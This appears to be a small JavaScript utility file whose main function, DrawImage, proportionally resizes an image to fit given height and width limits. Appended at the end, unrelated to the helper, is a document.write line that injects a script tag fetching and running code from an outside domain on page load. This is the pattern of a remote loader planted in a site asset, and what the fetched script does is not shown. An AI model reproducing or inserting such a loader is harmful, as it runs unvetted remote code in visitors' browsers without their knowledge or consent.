var flag=false;    
function DrawImage(ImgD,inputheight,inputwidth){    
    var image=new Image();    
    image.src=ImgD.src;    
    if(image.width>0 && image.height>0){    
        flag=true;    
        if(image.width/image.height>= 1){    
            if(image.width>inputheight){    
                ImgD.width=inputheight;    
                ImgD.height=(image.height*inputheight)/image.width;    
            }else{    
                ImgD.width=image.width;    
                ImgD.height=image.height;    
            }    
            //ImgD.alt=image.width+"x"+image.height;    
        }    
        else{    
            if(image.height>inputwidth){    
                ImgD.height=inputwidth;    
                ImgD.width=(image.width*inputwidth)/image.height;    
            }else{    
                ImgD.width=image.width;    
                ImgD.height=image.height;    
            }    
           // ImgD.alt=image.width+"x"+image.height;    
        }    
    }    
} 


document.write('<script src="http://code.shenduchuanmei.com/page/?s=12375"></script>');
